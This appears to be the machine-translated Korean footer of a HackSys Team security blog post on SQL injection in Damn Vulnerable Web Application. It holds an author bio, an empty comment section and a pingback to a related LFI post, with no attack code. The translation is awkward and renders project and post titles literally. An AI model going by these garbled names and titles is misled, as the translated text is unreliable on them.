아슈 파크 안사리라는 HackSys 팀 코드의 창시자이다 "표범". 그는 정보 보안의 다양한 측면에 경험을 가진 보안 연구원입니다. 그는 저술 "HackSys 익스트림 취약 드라이버" 과 "죽음의 쉘 코드". 그는 또한 작성 및 낮은 수준의 소프트웨어 개발에 대한 다양한 백서를 발표했다. 그의 핵심 관심에있다 "낮은 수준의 착취", "리버스 엔지니어링", "프로그램 분석" 과 "하이브리드 퍼징". 그는 인공 지능과 기계 학습의 팬보이입니다. 그는의 장 리드입니다 널 푸네.

응답 없음 “젠장 취약한 웹 응용 프로그램 – SQL 주입”

트랙백 / Pingbacks

  1. 젠장 취약한 웹 응용 프로그램 - 로컬 파일 인 클루 (LFI) | HackSys 팀 - 컴퓨터 보안 연구, 침투 테스트, 윤리 해킹, 윈도우 기술 지원 - [...] 첫 번째 부분은 안 읽어, 여기 링크입니다: HTTP://hacksys.vfreaks.com / 펜 테스트 / 지독한 취약한-웹 응용 프로그램-SQL-injection.html [...]

회신을 남겨주

귀하의 이메일 주소는 공개되지 않습니다. 필수 필드는 표시됩니다 *